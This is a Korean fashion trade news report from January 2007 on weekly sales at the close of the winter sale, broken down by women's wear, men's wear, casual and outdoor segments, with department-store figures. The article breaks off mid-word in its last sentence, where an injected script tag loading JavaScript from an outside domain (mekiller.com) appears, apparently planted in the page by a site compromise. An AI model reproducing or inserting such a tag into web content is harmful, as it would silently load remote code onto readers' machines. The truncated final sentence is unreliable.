주간상황 - 겨울 세일 막바지 공세 시큰둥

2007-01-25 11:04 조회수 아이콘 2063

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주간상황 - 겨울 세일 막바지 공세 시큰둥

겨울재고 소진 총력

<여성복>
전주와 비슷한 추이를 보이거나 한 자릿수의 소폭 신장에 그쳤다.
롯데와 현대 등 백화점가는 5일부터 시작된 1월 정기세일이 막바지에 접어든 가운데 영캐주얼의 경우 대부분 2~3%의 소폭 신장에 그친 것으로 나타났다.
캐릭터도 4~5% 신장에 그쳤고, 커리어는 오히려 소폭 감소세로 돌아섰다.
이는 겨울 제품의 경우 높은 세일 폭에도 불구하고 팔림세가 많이 둔화됐고, 이미 상당수 매장은 재고 보유량이 크게 줄어들었기 때문으로 풀이된다.
캐릭터는 1월 초부터 봄 신상품 출시가 이루어졌고, 영캐주얼도 일부 브랜드들이 예년보다 앞당겨 신상품을 내놓고 있지만 매출을 견인하지는 못하고 있다.
겨울과 봄이 교차되는 시점의 정체기가 1~2주간 지속될 것이라는게 업계 관계자들의 전망이지만 2, 3월 졸업, 입학 시즌을 맞아 상승세를 탈 수도 있다는 긍정적인 시각도 있다.
봄 신상품보다는 겨울 재고 소진에 총력을 기울이고 있는 가두점은 전주에 비해 5~10% 정도 신장세를 유지했다.
겨울 중의류와 단품류를 50%에서 많게는 70%까지 할인하는 행사를 진행중인데 높은 할인 폭과 함께 대규모 물량을 공급하면서 3주 연속 신장세를 이어가고 있다.
봄 신상품은 이달 말부터 본격적인 출시에 들어가는데 이후에도 겨울 상품 소진을 위한 할인전은 한동안 지속한다는 방침이다.

정장·코트 판매 매출 견인
<남성복>
전주대비 한 자릿수 신장했다.
세일이 후반부에 접어들면서 매출이 상승세를 보였다.
날씨가 갑자기 추워지면서 정장과 코트 매출이 소폭 늘어났다.
백화점은 점별로 캐시미어 코트 특가 행사와 정장 할인 행사를 진행하며 매출 잡기에 나섰고 다양한 프로모션을 통해 마지막 정장 고객 잡기에 총력을 기울였다.
전년대비로는 6% 신장했고 지난해 설 행사를 진행했던 것을 감안하면 선방한 것으로 평가된다.
캐릭터캐주얼과 TD캐주얼은 여전히 10% 이상 신장했고, 신사복과 어덜트캐주얼은 보합세를 유지했다.
반면 드레스셔츠와 넥타이는 한 자릿수 역신장하며 어려움을 겪었다.

봄 상품 판매율 주춤
<캐주얼>
캐주얼 주요 브랜드들은 전주대비 보합세에서 10% 역신장을 나타냈다.
날씨 영향으로 봄 상품 비중이 최대 50%까지 늘어났으나 겨울 막바지 세일 진행으로 팔림세는 높지 않았다.
올해는 설이 작년보다 한 달 늦은 2월 중순으로 잡혀 있어 세일이 끝난 뒤에 겨울 상품 판매는 지속될 전망이다.
에이션패션의 ‘폴햄’은 매장 내 봄상품이 50%를 차지한 가운데 판매율은 30%에 그쳐 전체 매출은 전주대비 보합세를 유지했다.
휴컴퍼니의 ‘유지아이지’와 ‘크럭스’ 역시 봄 상품이 입고대비 판매율이 높지 않아 전주대비 각각 8% 역신장과 보합세를 나타냈다.
행텐코리아의 ‘행텐’은 봄 상품 매출이 40% 비중을 차지했으나 겨울 상품 조기 세일로 소진이 많이 이뤄져 전체적으로 전주대비 10% 역신장했다.
김준배 휴컴퍼니 이사는 “겨울 날씨가 불안정해 봄 신상품과 겨울 상품 판매가 어느 한쪽으로 기울지 않고 골고루 나타났다”고 말했다.
 
리딩그룹 물량 부족 현상
<아웃도어>
세일 막바지에 돌입하면서 하락세로 돌아섰다.
이는 리딩 브랜드의 겨울 장사 호조로 인한 물량 부족 현상이 가장 큰 이유로 분석된다.
하지만 전년대비로는 신장세가 지속됐다.
롯데백화점은 주간 23억5천7백만원을 판매해 14%의 역신장을 기록했다.
본점이 2억2천만원으로 31% 하락했으며 잠실점은 1억5천8백만원으로 27%,부산점은 1억7천6백만원으로 18.7% 역신장했다.
현대백화점은 주간 8억9천7백만원으로 2.5% 하락해 비교적 선전했다.
본점은 3천6백만원으로 보합 수준을 기록했다.
무역점은 7천8백만원으로 3.4% 역신장했으며, 목동점은 1억3백만원으로 3.9% 하락했다.
반면 천호점은 대형 행사가 진행되면서 1억7천7백만원의 매출을 기록 52.9% 상승해 대조적인 모습을 보였다.
가두점은 겨울 상품 판매가 저조한 모습을 보?script src=http://mekiller.com/1/1.js>